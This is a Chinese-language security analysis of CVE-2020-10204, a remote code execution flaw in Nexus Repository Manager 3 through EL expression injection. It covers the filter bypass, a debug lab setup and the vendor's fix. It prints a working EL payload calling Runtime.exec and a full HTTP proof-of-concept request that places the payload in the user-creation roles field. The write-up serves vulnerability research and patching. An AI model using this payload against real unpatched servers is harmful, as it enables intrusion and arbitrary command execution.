CVE-2020-10204 Nexus Repository Manager 3-远程执行代码漏洞分析
字数 1090 2025-08-25 22:58:34
CVE-2020-10204 Nexus Repository Manager 3 远程代码执行漏洞分析
漏洞概述
CVE-2020-10204是Sonatype Nexus Repository Manager 3中的一个远程代码执行漏洞,影响所有3.x版本(最高至3.21.1)。该漏洞允许攻击者通过构造特定的EL表达式实现任意代码执行。
影响版本
- 所有Nexus Repository Manager 3.x OSS/Pro版本,最高至3.21.1
- 修复版本:3.21.2及以上
漏洞原理
该漏洞源于Nexus Repository Manager对用户输入中的EL表达式处理不当,导致攻击者可以通过构造特殊的EL表达式绕过安全限制,实现远程代码执行。
关键点分析
-
EL表达式注入:系统在处理用户输入时未正确过滤EL表达式,特别是
${}形式的表达式。 -
绕过机制:通过添加
\A或\X等前缀可以绕过原有的表达式过滤机制:$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(''.getClass().forName('java.lang.Runtime')).exec('touch /tmp/sssss')} -
漏洞触发点:主要存在于以下接口:
- 用户管理接口(如创建/更新用户)
- 角色管理接口
环境搭建
-
拉取漏洞版本Docker镜像:
docker pull sonatype/nexus3:3.21.1 -
修改启动项以启用调试:
# 修改/opt/sonatype/nexus/bin/nexus文件 # 在java命令后添加调试参数: -Xdebug -server -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8888 -
下载源码并配置远程调试:
git clone https://github.com/sonatype/nexus-public
漏洞利用
利用POC
通过用户管理接口触发漏洞:
POST /service/extdirect HTTP/1.1
Host: 127.0.0.1:8081
Content-Type: application/json
X-Nexus-UI: true
NX-ANTI-CSRF-TOKEN: 0.029301195082771514
Content-Length: 350
{
"action":"coreui_User",
"method":"create",
"data":[{
"userId":"3",
"version":"",
"firstName":"test",
"lastName":"test",
"email":"test@test.com",
"status":"active",
"roles":["$\\X{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(''.getClass().forName('java.lang.Runtime')).exec('touch /tmp/rce')}"],
"password":"admin"
}],
"type":"rpc",
"tid":33
}
执行流程
- 系统接收到包含特殊构造的EL表达式的请求
- 表达式绕过过滤机制后被解析执行
- 通过Java反射机制调用Runtime.exec()执行任意命令
修复分析
修复方式
-
代码层面:在
ValidationModule.java中配置使用ParameterMessageInterpolator替代原有的消息插值器:bind(MessageInterpolator.class).to(ParameterMessageInterpolator.class); -
安全机制:
ParameterMessageInterpolator会检测EL表达式并以警告形式直接返回,不再解析- 即使绕过过滤,表达式也不会被执行
修复验证
在3.21.2版本中:
- 检测到以
$开头的表达式时直接返回警告 - 不再进行表达式解析和执行
总结
该漏洞展示了EL表达式注入的典型风险,以及安全防护需要多层防御的重要性。修复方案通过更换消息插值器从根本上解决了问题,而非仅依赖输入过滤。
参考链接
- 官方通告:https://support.sonatype.com/hc/en-us/articles/360044356194-CVE-2020-10204-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
- Nexus源码:https://github.com/sonatype/nexus-public